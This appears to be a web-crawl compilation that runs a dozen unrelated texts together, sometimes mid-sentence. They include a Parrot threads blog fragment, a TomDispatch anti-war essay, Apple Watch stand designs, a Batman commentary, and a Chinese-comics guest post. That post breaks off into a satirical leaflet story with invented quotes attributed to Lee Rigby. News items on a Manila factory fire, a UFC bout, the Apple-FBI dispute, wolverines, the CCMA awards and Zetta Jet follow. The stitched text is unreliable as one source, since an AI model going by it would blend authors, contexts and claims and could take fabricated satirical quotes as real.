But green threads are fine too! Except for one minor detail: whenever any of them blocks on IO, the entire Parrot comes to a halt. The plan is for Parrot threads scheduler to handle it nicely, but it’s not there yet, so if you expected nice and easy async IO, sorry, but you’re stuck on MuEvent :)
Yep, we’re not really there yet. But I claim it’s closer than ever. We have working threads implementation. You can write code with that, and it’s not a PITA. Go for it! There’s a lot of room to improve it. I didn’t try really hard for Threads.pm to follow the concurrency synopsis (in my defense, I think niecza doesn’t follow it either :)), and I think that once we unleash a wolfpack of developers which can work towards something that we’ll all love to use.
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It may be hard to believe now, but in 1970 the protest song “War,” sung by Edwin Starr, hit number one on the Billboard Hot 100 chart. That was at the height of the Vietnam antiwar movement and the song, written by Norman Whitfield and Barrett Strong, became something of a sensation. Even so many years later, who could forget its famed chorus? “War, what is it good for? Absolutely nothing.” Not me. And yet heartfelt as the song was then – “War, it ain’t nothing but a heartbreaker. War, it’s got one friend, that’s the undertaker…” – it has little resonance in America today.
But here’s the strange thing: in a way its authors and singer could hardly have imagined, in a way we still can’t quite absorb, that chorus has proven eerily prophetic – in fact, accurate beyond measure in the most literal possible sense. War, what is it good for? Absolutely nothing. You could think of American war in the twenty-first century as an ongoing experiment in proving just that point.
Looking back on almost 15 years in which the United States has been engaged in something like permanent war in the Greater Middle East and parts of Africa, one thing couldn’t be clearer: the planet’s sole superpower with a military funded and armed like none other and a “defense” budget larger than the next seven countries combined (three times as large as number two spender, China) has managed to accomplish – again, quite literally – absolutely nothing, or perhaps (if a slight rewrite of that classic song were allowed) less than nothing.
Unless, of course, you consider an expanding series of failed states, spreading terror movements, wrecked cities, countries hemorrhaging refugees, and the like as accomplishments. In these years, no goal of Washington – not a single one – has been accomplished by war. This has proven true even when, in the first flush of death and destruction, victory or at least success was hailed, as in Afghanistan in 2001 (“You helped Afghanistan liberate itself – for a second time,” Secretary of Defense Donald Rumsfeld to U.S. special operations forces), Iraq in 2003 (“Mission accomplished“), or Libya in 2011 (“We came, we saw, he died,” Hillary Clinton on the death of autocrat Muammar Gaddafi).
Of all forms of American military might in this period, none may have been more destructive or less effective than air power. U.S. drones, for instance, have killed incessantly in these years, racking up thousands of dead Pakistanis, Afghans, Iraqis, Yemenis, Syrians, and others, including top terror leaders and their lieutenants as well as significant numbers of civilians and even children, and yet the movements they were sent to destroy from the top down have only proliferated. In a region in which those on the ground are quite literally helpless against air power, the U.S. Air Force has been repeatedly loosed, from Afghanistan in 2001 to Syria and Iraq today, without challenge and with utter freedom of the skies. Yet, other than dead civilians and militants and a great deal of rubble, the long-term results have been remarkably pitiful.
From all of this no conclusions ever seem to be drawn. Only last week, the Obama administration and the Pentagon again widened their air war against Islamic State militants (as they had for weeks been suggesting they would), striking a “suspected Islamic State training camp” in Libya and reportedly killing nearly 50 people, including two kidnapped Serbian embassy staff members and possibly “a militant connected to two deadly attacks last year in neighboring Tunisia.” Again, after almost 15 years of this, we know just where such “successes” lead: to even grimmer, more brutal, more effective terror movements. And yet, the military approach remains the American approach du jour on any day of the week, any month of the year, in the twenty-first century.
Put another way, for the country that has, like no other on the planet in these years, unleashed its military again and again thousands of miles from its “homeland” in actions ranging from large-scale invasions and occupations to small-scale raids and drone assassination strikes, absolutely nothing has come up roses. From China’s Central Asian border to north Africa, the region that Washington officials began referring to as an “arc of instability” soon after 9/11 and that they hoped to garrison and dominate forever has only become more unstable, less amenable to American power, and ever more chaotic.
By its very nature, war produces chaos, but in other eras, particularly for great powers, it has also meant influence or dominance and created the basis for reshaping or controlling whole regions. None of this seems in the cards today. It would be reasonable to conclude, however provisionally, from America’s grand military experiment of this century that, no matter the military strength at your command, war no longer translates into power. For Washington, war has somehow been decoupled from its once expected results, no matter what weaponry has been brought to bear or what kind of generalship was exercised.
An Arms Race of One
Given that, sooner or later, the results of any experiment should be taken into account and actions recalibrated accordingly, here’s what’s curious. Just listen to the fervent pledges of the presidential candidates in the Republican debates to “rebuild” the U.S. military and you’ll sense the immense pressure in Washington not to recalibrate anything. If you want the definition of a Trumpian bad deal, consider that all of them are eager to pour further staggering sums into preparing for future military endeavors not so different from the present ones. And don’t just blame the Republicans. Such behavior is now hardwired into Washington’s entire political class.
The essential failure of air power in these years has yielded the F-35 Joint Strike Fighter, a plane once expected to cost in the $200 billion range whose price tag is now estimated at a trillion dollars or more over the course of its lifetime. It will, that is, be the most expensive weapons system in history. Air power’s powerlessness to achieve Washington’s ends has also yielded the newly unveiled Long-Range Strike Bomber for which the Pentagon has already made a down payment to Northrop Grumman of $55 billion. (Add in the usual future cost overruns and that sum is expected to crest the $100 billion mark long before the plane is actually built.) Or at the level of planetary destruction, consider the three-decade, trillion-dollar upgrading of the U.S. nuclear arsenal now underway and scheduled to include, among other things, smaller, more accurate “smart” nukes – that is, first-use weaponry that might indeed be brought to future battlefields.
That none of this fits our world of war today should be – but isn’t – obvious, at least in Washington. In 2016, not only has military action of just about any sort been decoupled from success of just about any sort, but the unbelievably profitable system of weapons production woven into the fabric of the capital, the political process, and the country has also been detached from the results of war; the worse we do militarily, that is, the more frenetically and expensively we build.
For the conspiratorial-minded (and I get letters like this regularly at TomDispatch), it’s easy enough to see the growing chaos and collapse in the Greater Middle East as purposeful, as what the military-industrial complex desires; nothing, in other words, succeeds (for weapons makers) like failure. The more failed states, the more widespread the terror groups, the greater the need to arm ourselves and, as the planet’s leading arms dealer, others. This is, however, the thinking of outsiders. For the weapons makers and the rest of that complex, failure or success may increasingly be beside the point.
Count on this: were the U.S. now triumphant in an orderly Greater Middle East, the same Republican candidates would still be calling for a build-up of the U.S. military to maintain our victorious stance globally. If you want proof of this, you need only step into your time machine and travel back a quarter-century to the moment the Soviet Union collapsed. Thought of a certain way, that should have been the finale for a long history of arms races among competing great powers. What seemed like the last arms race of all between the two superpowers of the Cold War, the one that brought the planet to the brink of annihilation, had just ended.
When the Soviet Union imploded and Washington dissolved in a riot of shock and triumphalism, only one imperial force – “the sole superpower” – remained. And yet, despite a brief flurry of talk about Americans harvesting a “peace dividend” in a world bereft of major enemies, what continued to be harvested were new weapons systems. An arms race of one rolled right along.
And of course, it goes right on today in an almost unimaginably different world. A quarter century later, militarily speaking, two other nations might be considered great powers. One of them, China, is indeed building up its military and acting in more provocative ways in nearby seas. However, not since its disastrous 1979 border war with Vietnam has it used its military outside its own borders in a conflict of any kind.
The Russians are obviously another matter and they alone at this moment seem to be making an imperial success of warfare – translating, that is, war making into power, prestige, and dominance. In Syria (and possibly also Ukraine), think of that country as experiencing its version of America’s December 2001 Afghanistan or April 2003 Iraq moments, but don’t for a second imagine that it will last. The Russians in Syria have essentially followed the path Washington pioneered in this century, loosing air power, advisers, and proxy forces on an embattled country. Their bombing campaign and that of the allied Syrian air force have been doing in spades what air power generally does: blow away stuff on the ground, including hospitals, schools, and the like.
Right now, with the Syrian Army and its Iranian and Lebanese helpers advancing around the city of Aleppo and elsewhere, everything looks relatively sunny for the Russians (as long as your view is an airborne one), but give it a year, or two or three. Or just ask yourself, what exactly will such “success” translate into, even if a Bashar al-Assad regime regains significant power in a country that, in most senses, has simply ceased to exist? Its cities, after all, are in varying states of destruction, a startling 11.5% of its people are estimated to have been killed or injured, and a significant portion of the rest transformed into exiles and refugees (with more being produced all the time).
Even if the Islamic State and other rebel and insurgent groups, ranging from those backed by the U.S. to those linked to al-Qaeda, can be “defeated,” what is Russia likely to inherit in the Middle East? What, in far better circumstances, did the U.S. inherit in Afghanistan or Iraq? What horrendous new movements will be born from such a “victory”? It’s a nightmare just to think about.
Keep in mind as well that, unlike the United States, Vladimir Putin’s Russia is no superpower. Despite its superpower-style nuclear arsenal and its great power-ish military, it’s a rickety energy state shaken by bargain-basement oil prices. Economically, it doesn’t have the luxury of waste that the U.S. has when it comes to military experimentation.
Generally speaking, in these last years, war has meant destruction and nothing but destruction. It’s true that, from the point of view of movements like al-Qaeda and the Islamic State, the chaos of great power war is a godsend. Even if such groups never win a victory in the traditional sense (as the Islamic State has), they can’t lose, no matter how many of their leaders and followers are wiped out. In the same way, no matter how many immediate successes Washington has in pursuit of its war on terror, it can’t win (and in the end neither, I suspect, can Russia).
Has War Outlived Its Usefulness?
Relatively early in the post-9/11 presidency of George W. Bush, it became apparent that his top officials had confused military power with power itself. They had come to venerate force and its possible uses in a way that only men who had never been to war possibly could. (Secretary of State Colin Powell was the sole exception to this rule of thumb.) On the U.S. military, they were fundamentalists and true believers, convinced that unleashing its uniquely destructive capabilities would open the royal road to control of the Greater Middle East and possibly the planet as well.
About this – and themselves – they were supremely confident. As an unnamed “senior adviser” to the president (later identified as Bush confidant Karl Rove) told journalist Ron Suskind, “We’re an empire now, and when we act, we create our own reality. And while you’re studying that reality – judiciously, as you will – we’ll act again, creating other new realities, which you can study too, and that’s how things will sort out. We’re history’s actors… and you, all of you, will be left to just study what we do.”
Ever since then, no small thanks to the military-industrial complex, military power has remained the option of choice even when it became clear that it could not produce a minimalist version of what the Bush crew hoped for. Consider it something of an irony, then, that the U.S. may still be the lone superpower on the planet. In a period when military power of the first order doesn’t seem to translate into a thing of value, American economic (and cultural) power still does. The realm of the dollar, not the F-35, still rules the planet.
So here’s a thought for the songwriters among you: Could it be that war has in the most literal sense outlived its usefulness, at least for the United States? Could it be that the nature of war – possibly any war, but certainly the highly mechanized, high-tech, top-dollar form that the United States fights – is now all unintended and no intended consequences? Do we need another Edwin Starr singing a new song about what war isn’t good for, but with the same punch line?
In fact, give it a try yourself. Say it with me: Absolutely nothing.
One more time and really hit that “nothing”: Absolutely nothing!
Now, could someone in Washington act accordingly?
Tom Engelhardt is a co-founder of the American Empire Project and the author of The United States of Fear as well as a history of the Cold War, The End of Victory Culture. He is a fellow of the Nation Institute and runs TomDispatch.com. His latest book is Shadow Government: Surveillance, Secret Wars, and a Global Security State in a Single-Superpower World.
Note: Let me offer a deep bow of thanks to TomDispatch Managing Editor Nick Turse for helping, as he so often does, to talk me through this one! ~ Tom
Follow TomDispatch on Twitter and join us on Facebook. Check out the newest Dispatch Book, Nick Turse’s Tomorrow’s Battlefield: U.S. Proxy Wars and Secret Ops in Africa, and Tom Engelhardt’s latest book, Shadow Government: Surveillance, Secret Wars, and a Global Security State in a Single-Superpower World.
Copyright 2016 Tom Engelhardt
Read more by Tom EngelhardtAfter spending hundreds or even thousands of dollars on your new Apple Watch, it’s hard to justify tossing the device on the table to charge like discarded jewelry. If you’ve got a 3-D printer, it’s easy to class things up by printing out an Apple Watch stand.
These 3-D-printed Apple Watch stands will protect your high-tech timepiece from scratches and, more importantly, provide a platform to show off your new smartwatch to friends and family — even when you aren’t using it.
A variety of 3-D printing files are available to download completely free of charge, and they get the job done just fine. Take a look at some of the best designs out there — all of which cost nothing to download.
Apple Watch Charging Stand by evancli
User evancli submitted the design for this Apple Watch charging stand to MakerBot’s Thingiverse. The stand allows one strap to rest on top and curls the other one underneath. Slip your charger through the circular hole so the Apple Watch can magnetically clasp and stay on the stand. This stand is a nice way to showcase your Apple wearable and charge it while remaining somewhat discreet.
The Growth Watch Stand by Gothampixel
The Growth is probably the most unique printable stand on this list. It’s tall and curvy, oddly resembling the liquid inside a lava lamp. The slot for the Apple Watch charging cable is brilliantly designed so that the cable is on the front, which means it’s easy to quickly attach or detach the cable from the stand when you want to use it elsewhere.
Compact Charger Watch Stand by FoolsDelight
The Compact Charger Stand on Thingiverse is a small triangle with the charger hole on the side facing up. One of the watch straps tucks underneath against the surface. It’s by far the smallest stand on this list, so it’s the best option for being inconspicuous and would even make a nice travel companion.
Apple Watch Folding Dock by Teece
This Apple Watch Folding Dock looks like one of the most conventional watch stands you might find in someone’s home, but there’s nothing wrong with that. It’s designed in such a way that, when connected to the charger, the Apple Watch sits on the stand at almost a 90-degree angle and the straps wrap virtually around the dock. Plus, the stand folds flat to be compact when traveling. The designer, Teece, mentions that one screw is required to connect the two parts, which print out separately.
Apple Watch and iPhone 6 Dock by Ferdinand128
This multi-device dock is wide, with a tall docking area for the Apple Watch to charge, straps hanging freely, and an iPhone docking area right next to that. Apple’s Lightning cable can slip through the back to charge the iPhone while it stands upright, though the stability of the Lightning cable in this stand is questionable. Designer Ferdinand128 says he printed the dual stand in about 30 hours.Bruce Wayne, a.k.a. Batman, is without question one of the most intelligent and skilled combatants on his planet. He may only be a human on a world that's full of super powered titans and deadly villains, but what's he's accomplished is well beyond what any ordinary human is capable of. He has a brilliant mind, has mastered over 120 fighting styles, and, of course, has the means and intelligence required to create some awesome equipment and vehicles. No matter how absurdly powerful a character may be, they should never underestimate the Dark Knight. That said, Bruce isn't infallible and he sure as hell isn't unbeatable. And you know what? That's a good thing.
Now, before you jump to conclusions about the above image, let me give you some much-needed context. The Caped Crusader and Deathstroke just had a brutal fight and, in the next issue, Slade mentions he'll be feeling the hero's hits for awhile and would hate to fight Batman without his enhanced strength. Still, the point is that no matter how skilled, driven, and clever Batman is, he won't always be in a scenario where the odds are in his favor. Does he have what it takes to put up a good effort, though? Absolutely. But being unbeatable would be a joke and who wants one of their favorite characters to be a walking punchline? Sure, that works for a lighthearted character like Squirrel Girl, but lighthearted doesn't really come to mind when you think of Batman, does it?
We all love seeing our favorite heroes overcome impossible odds, but how do you expect him to grow as a character if he's always able to shut down a villain's plans or find a way to get the edge in every single physical struggle? It's not about who's standing when the dust settles; it's about what that encounter meant for each character and the story potential it produces. Having Batman suffer a big loss and then seeing what kind of a toll it takes on him and how he'll fix what he did wrong has so much more potential for a compelling story than having him just always topple whatever is in his way. Embracing Wayne's skill, equipment and mastery of prep time is always cheerworthy, but that's because those moments aren't frequent and, when they are presented, the creative team often goes big. Being forced to legitimately question how he'll recover and adapt after a defeat is engaging and really has the potential to showoff his strengths far more than just proving yet again he knows how to disable someone with a pressure point or can take someone out with an electric attack. You know, this is assuming the whole story is written well and his defeat isn't blatantly downplaying him.
We all want to our favorite characters to win ("my favorite character can beat up your favorite character!"), but there's a blatant difference between being a Batman fan and being a Batman fanboy/fangirl. The ability to objectively look at a character's strengths and weaknesses is important. Who wants to discuss these things with someone if it's clear there's just no reasoning with them? Batman's great and it takes a whole lot to get the better of him, but defeating him is doable and has happened countless times in his history. To think otherwise is just being... well, silly. For example, Bane purposely made sure Batman was emotionally and physically defeated before stepping in to finish the job himself. Wayne's loss there isn't downplaying him and it's most definitely not embarrassing for any Bat fans. If anything, it's showing just how far he'll go in an attempt to keep the city safe. Even after all he's endured, he still jumped at this physically superior foe and gave it his all. Also, it showed just how far Bane will go in an attempt to take control of Gotham and how much he had to do just to wear down its protector. It wasn't a fair fight by any measure, but it spoke volumes about Batman's determination, produced a great comeback for him, and made us realize Bane isn't someone we should take lightly.
"But they make him unbeatable and that's so lame!" In a world that has people shooting heat vision from their eyes, having a phenomenally well-trained, intelligent and resourceful hero isn't all that far-fetched. I mean, how many times has Punisher overcome seemingly impossible odds after he suffered an insane amount of damage? A great example of embracing Batman's potential while also recognizing his restrictions took place in Robin Rises. The Dark Knight stepped into a highly advanced armor and went on an action-packed mission on Apokolips. He knew he'd eventually encounter Darkseid and, even though there's some cool panels that make it look like Batman's doing well, Peter J. Tomasi's script made it abundantly clear that, even though Batman is wearing one of his most advanced armors, he's still nothing compared to Darkseid. He knocked the titan around a bit, but when all is said and done, Darkseid wasn't even fazed by the attacks and it all relied on Batman's planning. If the hero stayed instead of escaping when he got when he needed to, there's no doubt he would have died.
Batman gearing up and taking down insanely difficult challenges is always fun and reminds us why he's such a formidable hero. There are very few things he isn't good at, but to have him always be a step ahead of his enemies or overcome obstacles with no real trouble makes those big moments less exciting. Watching Batman -- one of the most skilled and clever heroes around -- suffer a defeat and find a way to rise above has so much more potential than seeing him always win, because it focuses on his determination and tactical mind. That's why it's great he has so many villains who can thoroughly test his mind and his body. Batman can beat a whole lot of opponents, but he doesn't always win and that's okay. Being defeated doesn't make him less cool or less impressive. Instead, it reminds us that he's just a human in a crazy world yet he has what it takes to push himself even harder so he can eventually save the day. I'd say that's far more badass than him simply always winning. Thomas Wayne said it best in Batman Begins. "And why do we fall, Bruce? So we can learn to pick ourselves up."This is a guest post about reading comics in Chinese, written by Sara K. It was written as a natural follow-up to her previous article, but instead of talking about reading in general, this time she introduces comics for Chinese learners. I also enjoy reading comics, but rather than trying to write something mediocre myself, I hand over the pen to an expert. Enjoy!
Olle Linge has already said why reading comics are good for language learning (Reading manga for more than just pleasure), so this article is about how to use comics for language learning.
I have read comic books ever since I learned how to read, I came into Chinese-language comics with a broad knowledge of the medium to support me, and even so, I had to learn how to best use the comics in my studies. There are two main issues:
Picking a comic (this is very important, and also difficult to do without broad knowledge of what is out there) Being comfortable with the comic book medium
This article mostly focuses on (1), but I will first address (2).
Attitude
Many people look down on comics because they are |
are united in fighting for a much bigger prize: that of an African Brexit.”
When asked about the quote attributed to Lee Rigby, he said: “The quote from Lee Rigby comes directly from a recent conversation with the Prophet Zebadiah Abu Obadiah, that took place in the realms of Zell.
“Fusilier Rigby is an expert on European affairs as well being very knowledgeable on matters of immigration and race – subjects he has written on extensively.
“Our allies in Ukip were also very keen we use the quote from Dr Rigby, pointing to the curious authority attributed to him by the British people.”
When asked what he would say to people who found the leaflet, and the use of Lee Rigby’s image on it, offensive, he said: “We would say that their offence is misplaced and unjustified.
“Only those who reject the teachings of the Prophet Zebadiah Abu Obadiah could possibly take offence at anything in this leaflet.”Image copyright Reuters Image caption Large fires have been relatively common in the Philippines, particularly in slum areas
The death toll in a fire that destroyed a shoe factory in the Philippine capital has risen to 72, officials say.
Police have vowed to take swift action against those responsible, amid workers' claims of poor health and safety standards.
"Definitely there will be charges here, because people died," acting national police chief Leonardo Espina said.
Police say the fire started when sparks from welding work ignited flammable chemicals near the building's entrance.
The Philippines has lax safety standards and large fires are relatively common, particularly in slum areas.
Charges to follow
Wednesday's fire spread quickly and a few people escaped. Many more were trapped on the second floor of the building, where, according to survivors, iron grills on windows prevented their escape.
Most of the victims are thought to have suffocated in thick black smoke from burning rubber and chemicals.
Image copyright Reuters Image caption Retrieving bodies from the dangerous wreckage of the factory is taking time
Image copyright Reuters Image caption Survivors say they were unaware of any fire safety regulations
Image copyright EPA Image caption Friends and relatives face an agonising wait identifying the bodies
"Regardless of whether it was an accident or arson, people died. We are just determining what exactly happened so that we can clearly define what charges to file," Mr Espina told reporters on Thursday.
The owner of the factory, which is operated by Kentex Manufacturing and produces rubber flip flops and sandals, said about 200 to 300 people were inside the building at the time of the fire.
The mayor of the Valenzuela district, Rexlon Gatchalian, told the AFP news agency he did not expect the death toll to rise much further, as the number of bodies retrieved matched the number of people missing.
Image copyright AFP Image caption People have gathered outside the gutted factory to protest against working conditions there
Survivors and relatives of the victims told the news agency that factory employees worked for below minimum wage, surrounded by chemicals, and unaware of fire safety standards.
"We were running not knowing exactly where to go," one of the survivors, Lisandro Mendoza, said.
Some of those trapped texted family members asking for help, local media reported.
The process of identifying the bodies will take time, officials warn, as fingerprints can no longer be used to identify the charred remains of the victims.
The factory is in the rundown district of Valenzuela in the north of the capital.
Are you in Manila's suburb of Valenzuela? Have you been affected by the factory fire? You can share your experiences by emailing haveyoursay@bbc.co.uk.
If you would be happy to speak further to a BBC journalist, please include a contact telephone number.
Email your pictures to yourpics@bbc.co.uk, upload them here, tweet them to @BBC_HaveYourSay or text 61124. If you are outside the UK, send them to the international number +44 7624 800 100 or WhatsApp us on +44 7525 900971
Read our terms and conditions.Copyright by KHON - All rights reserved Kailin Curran
Copyright by KHON - All rights reserved Kailin Curran
Ewa Beach native Kailin Curran is headed back to The Octagon.
UFC officials told KHON2 sports director Rob DeMello Wednesday afternoon that Curran (4-3, 1-3 UFC), who competes in the UFC women's strawweight division, has scheduled a bout with Jamie Moyle (3-1, 0-0 UFC) at The Ultimate Fighter 24 finale in Las Vegas, Nevada on Dec. 3.
The 25-year-old Curran is hoping to rebound off of a July loss to Felice Herrig at UFC on Fox 20.
Moyle will be competing in the UFC for the first time in her career, although she was a contestant on The Ultimate Fighter season 23.
Curran's summer showdown with Herrig was a part of one of the organization's best Fox television draws, earning a reported 2,191,000 viewers.
The Ultimate Fighter 24 Finale will also feature UFC staples Gray Maynard, Jake Ellenberger, and Jorge Masvidal. The organization has yet to announce the main event of the card.
(9) Louis Smolka (11-1, 5-1 UFC) vs. Brandon Moreno (11-3, 0-0 UFC)
BJ Penn (16-10-2, 11-9-2 UFC) vs. (4) Ricardo Lamas (16-5, 7-3 UFC)In Apple-FBI Fight, Congress Considers Aggressive And Measured Approaches
Enlarge this image toggle caption Alex Brandon/AP Alex Brandon/AP
While Apple and the FBI fight in court over the government's demand that the tech company to help it break into the iPhone of one of the San Bernardino shooters, Congress is trying to find its own solution to the digital security/national security debate.
Lawmakers' best hope for consensus may be that Washington staple, a commission — like the one outlined Wednesday by Sen. Mark Warner, D-Va., and Rep. Michael McCaul, R-Texas. It would be modeled on the panel Congress formed to investigate security break downs prior to Sept. 11.
McCaul says that he knows some will be skeptical of the idea, as he himself initially was, but that he considers it the best response available right now.
"There is no easy, knee-jerk, legislative response at this time," he says, but adds that leaving the issue alone isn't a good choice either. "If Congress does nothing, as some would advocate... and we get hit in the United States with a Paris-style attack? I don't want that on my hands."
If Congress approves the commission — which Apple says it supports — McCaul and Warner want to include members from law enforcement, the tech industry, privacy advocates and the Obama administration. The panel would issue an interim report in six months and a final set of recommendations in a year.
Warner says it's something Congress already should have done.
"In many ways the current litigation that's taking place might not have been needed if we'd had this kind of approach a few years back," says Warner, adding that he fears that the sides are "talking past each other."
Warner says the commission's work will go beyond the Apple-FBI battle that's now making news — that, he says, will be settled in court — to instead focus on broader digital versus national security issues that need to be settled by Congress. There is no consensus on what action, if any, that Congress should take — though there already are clear sides being taken by legislators.
On one side are national security hawks, including Sen. Dianne Feinstein, D-Calif., who is critical of Apple for fighting the court order.
"I didn't think a company would set itself above the law," she says, "particularly a California-based company like Apple — which is a great company. And I still hope they will reconsider."
Feinstein, the senior democrat on the Senate Intelligence Committee, is working on a bill with the panel's chairman, Republican Richard Burr of North Carolina. It would force companies like Apple to help prosecutors unlock the phones of criminal suspects.
She says she is fine with a commission exploring solutions to the matter, which she says does not "contravene passing a bill... which simply says everyone must cooperate if there is a probable cause court warrant."
But intelligence committee member Ron Wyden, D-Ore., says such a bill would not be the right approach for lawmakers to take.
"I'm very, very opposed to any legislation that would force companies to weaken the security of their products," he says, "and that would include legislation that would criminalize strong encryption or force companies to stockpile encryption keys."
Wyden says even if Congress were to weaken encryption protections in the United States, there are plenty of foreign encryption apps available that would allow bad guys to get around that law. Wyden has asked Director of National Intelligence James Clapper to review Don't Panic, a report produced by Harvard University's Berkman Center for Internet & Society, which argues that much data usable by law enforcement is currently unencrypted and likely to remain so.
Wyden says he too could support a commission, as long as it's not "stacked" in favor of law enforcement.Overruling the strong recommendations of its own scientists, the U.S. Fish and Wildlife Service is withdrawing a proposal to list the North American wolverine, Gulo gulo, as Threatened under the U.S. Endangered Species Act.
USFWS scientists had urged the wolverine be listed due to the likely effect of climate change on the rare predatory weasel's reproductive habits. The animals depend on deep, persistent snow for their breeding, and an increasingly warm planet means that winter breeding habitat will likely become unsuitable for the wolverine.
Nonetheless, USFWS Director Dan Ashe announced Tuesday that the agency will back a call by one of the agency's regional directors to withdraw the listing proposal, citing "uncertainty" over the actual effect of disappearing snowfields on the wolverine's survival.
Female wolverines dig multi-chambered birthing dens in snowbanks at least five feet deep, and rely on those dens until May. Unless deep snow remains in the spot until that late in the year, the area is unsuitable for wolverine breeding.
Snow melt in the northern Rocky Mountains now happens an average of two weeks earlier than it did in 1960, and a similar or greater change in melt timing is expected over the next half century. In California's Sierra Nevada, where a small population of wolverines is thought to exist since a sighting in the Tahoe National Forest in 2008, snowmelt is peaking as much as 20 days earlier than in the mid-20th Century.
USFWS scientists had concluded, during the agency's evaluation of the wolverine's status, that the species absolutely depends on deep snow to reproduce -- and thus to survive as a species. But in a May 30 memo from USFWS Region 6 Regional Director Noreen Walsh that was leaked to environmental protection groups, Walsh ordered that the effort to list the wolverine be abandoned, claiming that climate models were insufficient to determine whether very specific sites in North America would become unsuitable breeding habitat for wolverines.
USFWS Director Ashe echoed Walsh's argument in a Tuesday interview with the Associated Press. "Climate change is a reality," Ashe told AP reporter Matthew Brown. "What we don't know with reliability is what does climate change mean for denning habitat that wolverines prefer."
Wildlife protection groups, which had blasted Walsh's order in June, are reacting similarly to USFWS' final withdrawal of the listing proposal.
"Absolute certainty has never been the standard when it comes to deciding whether or not to protect endangered species. That's like withholding medicine until a patient is taking their last breath," said Noah Greenwald, endangered species director at the Center for Biological Diversity. "These wolverines face a very real, clear and present danger from global warming. We know it, federal scientists know it. The only people denying that grim reality are those making this decision to call off protections for one of the rarest, most threatened mammals in the country."London will be hosting a major Canadian event in 2016, and this time, it will be the city’s music scene under the national spotlight.
At a news conference inside the London Music Hall March 5, the Canadian Country Music Association (CCMA) announced that the Forest City will host the 39th edition of Country Music Week Sept. 8-11, 2016, including the annual CCMA Awards.
Chris Campbell, chair of London’s Country Music Week Host Committee, said London’s bid has been in the works since 2012 and collaboration between local music scene partners was a key to its success.
“We had to collaborate with a number of venues, organizations, media, and we all had to work very quietly together,” he said, adding that venue visits took place in the fall to gauge the city’s ability to host the event.
“We were obviously victorious (and) this is great for the city. It’s going to show what we do best and that we not only have the best venues, (but) that we have a great sense of collaboration among venues and people. We all seem to be rowing in one direction.”
Based on past events and the approximately 2,000 hotel visits Country Music Week will bring to London, the estimated economic impact for the city is between $6 million and $8 million. But Campbell is thinking bigger.
“I’m an optimist and I’d like to say we can even do better,” he said.
Rated among the best venues for live music in North America, Budweiser Gardens will have a chance to expand on its reputation as a capable host of national and international sports events like the Memorial Cup and the World Figure Skating Championships. It will be the site of the 2016 CCMA Awards (the premier event in Canadian country music, broadcasted on CBC and CMT) but it will be far from the only venue involved.
The London Music Hall and London Convention Centre will also be used and organizers said more venues will be announcing related events in the future.
“We had some good competition from a couple other markets but I’ve been championing London for awhile,” said Ron Kitchener, chair of the CCMA board of directors, adding that it was important to bring the event back to Ontario. “Ontario is almost as hot as Alberta right now. You’ve got a lot of great young artists out of the area and it just lined up really wonderfully.”
London’s university and college populations, which are always bolstered in September, was another factor in the city’s favour, Kitchener said, because the popularity of country shows in that demographic is growing.
“Country music isn’t exactly an older demographic anymore,” he said. “College shows do fabulously well for country music.
“The city provides the right ingredients to make a great year in 2016.”
A number of city officials were on hand for the announcement including Coun. Bud Polhill (as acting mayor), Coun. Judy Bryant and Coun. Paul Hubert. Mayor Joe Fontana was out of town, but a pre-recorded video — featuring Fontana in a black cowboy hat — was played to attendees.
Ontario Premier Kathleen Wynne and MPP Deb Matthews also made appearances via video. Matthews said London’s bid was supported by $300,000 from the government’s Celebrate Ontario Blockbuster program, which covers bidding costs for major one-time events.
Campbell said the money was extremely important.
“(The $300,000) made this happen,” he said.
In town to perform at the announcement March 5 was Juno Award and CCMA Award nominee Tim Hicks and London’s own Genevieve Fisher. Fisher — with the breakout hit “July” — performed at the CCMA’s New Artist Showcase in 2012.
“The CCMA Awards is the most anticipated event in Canadian country music, so for it to be in my hometown, it’s amazing,” she said.
Fisher added that she’s releasing a new single this year and hopes to be part of Country Music Week in 2016.
“My fingers are crossed,” she said. “Hopefully I’ll be on the bill.”
Chris.montanini@sunmedia.ca
Twitter: @LondonerChrisAn uncertain fate looms over luxury jet operator Zetta Jet which has offices in the United States, as well as one near Seletar Airport.
The firm has accused its former Singapore-based managing director of misappropriating nearly $41 million to splurge on luxury yachts, cars and flying company jets for free.
But Mr Geoffery Cassidy insists his spending was justified because it was done to further Zetta Jet's business.
Last month, the firm's newly appointed chief executive Michael Maher filed for Chapter 11 bankruptcy proceedings in a US court on behalf of US-based shareholders.
Three days later, the rest of the Zetta Jet shareholders who hold a 64 per cent stake, including Mr Cassidy, filed an injunction to stop the proceedings in the US. The injunction was eventually honoured by the Supreme Court in Singapore, which bars further steps relating to bankruptcy proceedings.
In a statement to The Straits Times, Zetta Jet said that its debt restructuring had been "necessitated by the company's recent discovery that former Singapore-based managing director Geoffery Cassidy had misappropriated funds from the company and committed other fraudulent activities".
The company said normal business operations would continue through the restructuring process and beyond.
The US-based shareholders, Mr James Seagrim and Mr Stephen Walter, have also filed a lawsuit against Mr Cassidy, his wife Miranda Tang and Singapore-based Asia Aviation Holdings, of which the couple are both directors.
When ST visited Zetta Jet's local office at Seletar Aerospace Park on Sept 28, a male employee said Mr Cassidy "isn't here any more".
US court documents allege that the Australia-born Mr Cassidy had used company funds for personal purchases, took free transportation and accepted kickbacks from aircraft acquisitions. By doing so, he was said to have "wrongfully deprived Zetta Jet and/or Zetta Jet USA, Inc of at least US$20 million to US$30 million (S$41 million)".
Other accusations include his alleged unauthorised use of company funds to purchase and renovate personal property including two yachts called Dragon Pearl and Nyota, valued between US$3 million and US$10 million. He had allegedly bought three luxury cars in Singapore estimated to cost between US$2 million and US$3 million.
In February, Mr Cassidy supposedly used a company jet, its crew services and fuel to fly him and his friends from Singapore to Melbourne. It was estimated that he had used company jets totalling 300 hours of flight time or its equivalent of "at least US$3 million of company assets".
In his affidavit, Mr Cassidy maintains his innocence, saying that everything he had done was for the good of Zetta Jet. In an August board meeting in Hong Kong, Mr Cassidy said he met other stakeholders to discuss a rescue plan. Instead, he was supposedly treated with a "great degree of hostility".
He said: "Testament to the fact is that I voted in favour of the resolution appointing an independent professional to conduct an audit and for the reporting of any wrongdoing to the Corrupt Practices Investigation Bureau and the Commercial Affairs Department of Singapore."
Mr Cassidy explained that he had flown on Zetta Jets always for business purposes. "As managing director of a luxury airline business that catered to celebrities and high-net-worth individuals, I would take the jets to meet clients, suppliers, view demonstrations and the like."
